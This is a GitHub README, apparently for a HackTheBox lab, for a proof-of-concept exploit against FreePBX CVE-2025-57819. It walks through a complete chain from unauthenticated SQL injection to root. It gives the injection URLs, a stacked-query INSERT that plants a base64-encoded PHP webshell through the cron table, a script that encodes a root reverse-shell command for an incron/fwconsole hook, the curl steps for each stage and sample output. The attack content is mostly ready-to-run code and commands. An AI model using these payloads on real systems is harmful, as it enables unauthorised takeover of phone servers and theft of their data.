YuvrajSHAD/FreePBX-CVE-2025-57819

GitHub: YuvrajSHAD/FreePBX-CVE-2025-57819

针对 FreePBX CVE-2025-57819 未授权 SQL 注入漏洞的概念验证工具,演示从无凭据注入到获取 root shell 的完整利用链。

Stars: 0 | Forks: 0

# FreePBX CVE-2025-57819 — 未授权 SQLi 到 Root RCE ## 概述 FreePBX `endpoint` 模块中存在一个未授权的 SQL 注入漏洞,该漏洞通过 `/admin/ajax.php` 中的 `brand` 参数触发。利用此漏洞无需任何凭据。 结合 FreePBX 的内部 cron 作业机制以及 `incron`/`fwconsole` 钩子系统,这最终会导致获取一个完全未授权的 root shell。 ## 攻击链 ``` [No Auth Required] │ ▼ Unauthenticated SQL Injection (/admin/ajax.php → brand parameter) │ ├──► Extract DB credentials, user hashes │ ├──► INSERT into cron_jobs │ │ │ └──► PHP webshell dropped in web root │ │ │ └──► RCE as asterisk (user flag) │ └──► Write incron trigger file (as asterisk) │ └──► sysadmin_manager fires as root │ └──► fwconsole hook → Root Shell ``` ## 用法 ``` pip install requests python3 CVE-2025-57819.py ``` **示例:** ``` python3 CVE-2025-57819.py connected.htb 10.10.xx.xx 9999 ``` **输出:** ``` [*] Verifying Unauthenticated SQLi... [+] SQLi confirmed! [+] Database : asterisk [+] Version : 5.5.65-MariaDB [+] DB User : freepbxuser@localhost [*] Inserting Cron Job to Drop Webshell... [+] Cron job inserted — waiting up to 90s for it to fire... [+] Webshell active! → uid=999(asterisk) gid=1000(asterisk) [+] User Flag → HTB{REDACTED} [*] Triggering Root Shell → 10.10.xx.xx:9999 [+] Trigger file created — incron will fire it as root! ``` ## 工作原理 ### 阶段 1 — SQL 注入 endpoint 模块 AJAX 处理程序中的 `brand` 参数在未经清理的情况下直接传递到了 SQL 查询中: ``` GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax &command=model&template=x&model=model &brand=x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- - ``` 这会在 XPATH 错误中返回数据库名称——这是一种经典的基于错误的 SQLi 技术。同时还支持堆叠查询,允许执行 `INSERT`、`UPDATE` 和 `DELETE` 操作。 ### 阶段 2 — 通过 Cron 传播 Webshell 利用堆叠查询,将一个 cron 作业插入到 FreePBX 的 `cron_jobs` 表中: ``` INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) VALUES ('sysadmin', 'poc', 'echo PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1) ``` FreePBX 的 cron 运行器每分钟执行一次此操作,将一个 PHP webshell 释放到 Web 根目录中。 ### 阶段 3 — 通过 Incron + fwconsole 钩子提权至 Root `incrond` 监视 `/var/spool/asterisk/incron/`(可由 `asterisk` 用户写入)。当在此目录中创建文件时,它会以 root 身份触发 `/usr/bin/sysadmin_manager`。 文件名格式 `api.fwconsole-commands.` 映射到一个预先存在的 GPG 签名钩子,位于: ``` /var/www/html/admin/modules/api/hooks/fwconsole-commands ``` 该钩子将文件名解码为 `base64(zlib(json([cmd, txn_id])))` payload 并执行: ``` $cmd = "/usr/sbin/fwconsole $command 2>&1"; ``` 使用 `help;` 作为前缀能满足 fwconsole 对有效命令的要求,而 `;` 则可连接任意 shell 命令: ``` help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1 ``` 这将作为 root 执行,从而提供一个完整的 root shell。 ## 手动利用 ### 步骤 1 — 验证 SQLi ``` curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\ &command=model&template=x&model=model\ &brand=x'+AND+EXTRACTVALUE(1,CONCAT(0x7e,(SELECT+DATABASE()),0x7e))--+-" ``` ### 步骤 2 — 释放 Webshell ``` curl -ik "https://TARGET/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax\ &command=model&template=x&model=model\ &brand=x';INSERT+INTO+cron_jobs(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)\ +VALUES('sysadmin','poc','echo+PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==|base64+-d\ +>/var/www/html/shell.php',NULL,'*+*+*+*+*',30,1,1)--+-" ``` ### 步骤 3 — 生成 Root Payload ``` # 保存到文件以避免 shell 引号问题 cat > gen.py << 'EOF' import base64, json, zlib cmd = "help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1" payload = base64.b64encode( zlib.compress(json.dumps([cmd, "txn"]).encode()) ).decode().replace("/", "_") print(payload) EOF python3 gen.py ``` ### 步骤 4 — 触发 Root Shell ``` # 在目标上(通过 webshell 作为 asterisk) touch "/var/spool/asterisk/incron/api.fwconsole-commands." ``` ## 分析过程中的关键发现 | 发现 | 详情 | |---|---| | 数据库 | asterisk (MariaDB 5.5.65) | | 数据库用户 | freepbxuser@localhost | | Web 用户 | asterisk (uid=999) | | Cron 表 | 可通过 SQLi 写入 | | Incron 目录 | /var/spool/asterisk/incron/ (可由 asterisk 写入) | | 权限提升 | fwconsole 钩子通过 incrond 以 root 身份运行 | | 提权至 Root 的方法 | Incron 触发 → 签名的 fwconsole 钩子 → 命令注入 | ## 披露时间线 | 日期 | 事件 | |---|---| | 2025 | 发现并报告漏洞 | | 2025-11-30 | 靶机在 HackTheBox 上线 | | 2025 | 分配 CVE-2025-57819 | ## 免责声明 此工具仅用于教育目的和授权的安全测试。请勿对未获得明确许可的系统使用。作者不对任何滥用行为负责。 ## 参考 - [watchTowr Labs PoC](https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819) - [FreePBX 安全公告](https://github.com/freepbx/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h) - [CVE-2025-57819 详情](https://www.cve.org/CVERecord?id=CVE-2025-57819)
标签:CISA项目, FreePBX, 多线程, 应用安全, 编程工具, 远程代码执行, 逆向工具